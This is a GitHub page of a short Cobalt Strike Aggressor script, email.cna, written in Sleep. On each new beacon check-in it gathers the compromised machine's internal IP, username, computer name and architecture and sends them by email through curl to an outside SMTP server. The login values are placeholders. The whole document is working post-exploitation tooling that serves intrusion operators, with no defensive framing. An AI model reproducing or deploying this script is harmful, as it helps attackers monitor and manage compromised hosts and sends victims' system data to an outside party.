-
Notifications
You must be signed in to change notification settings - Fork 22
/
Copy pathemail.cna
20 lines (18 loc) · 846 Bytes
/
email.cna
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$From = "[email protected]";
$To = "[email protected]";
$UserName = "xxxx";
$Password = "xxxxx";
$SmtpServer = "smtp://smtp.163.com";
on beacon_initial{
local('$Ip $User $ComName $Arch $Handle $Mail_content');
$IP = beacon_info($1, "internal");
$User = beacon_info($1, "user");
$ComName = beacon_info($1, "computer");
$Arch = beacon_info($1, "barch");
$Mail_content = "From:".$From."\r\nTo:".$To."\r\nSubject:CobaltStriker\r\n\r\nIP:".$IP."\r\nUser:".$User."\r\nComputerName:".$ComName."\r\nArch:".$Arch;
$Handle = openf(">mail.txt");
writeb($Handle, $Mail_content);
@Curl_command = @('curl', '-s' ,'--url', $SmtpServer, '--mail-from', $From, '--mail-rcpt', $To, '--upload-file','mail.txt', '--user', $UserName.':'.$Password);
exec(@Curl_command);
action("\c9Send Done: ".$ComName."!");
}